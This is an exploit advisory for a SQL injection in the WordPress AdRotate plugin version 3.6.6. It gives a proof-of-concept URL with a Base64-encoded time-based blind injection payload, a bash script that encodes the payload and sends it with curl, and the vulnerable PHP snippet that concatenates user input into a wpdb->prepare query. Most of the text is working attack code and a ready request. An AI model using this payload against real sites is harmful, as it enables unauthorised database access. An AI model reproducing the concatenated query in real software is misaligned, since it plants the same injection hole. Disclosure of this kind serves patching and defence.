WordPress Plugin AdRotate 3.6.6 – SQL Injection
# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability # Date: 2011-11-8 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip # Version: 3.6.6 (tested) # Note: parameter $_GET["track"] has to be Base64 encoded --- PoC --- http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj e.g. #!/bin/bash payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0` curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded --------------- Vulnerable code --------------- if(isset($_GET['track']) OR $_GET['track'] != '') { $meta = base64_decode($_GET['track']); ... list($ad, $group, $block) = explode("-", $meta); ... $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare() |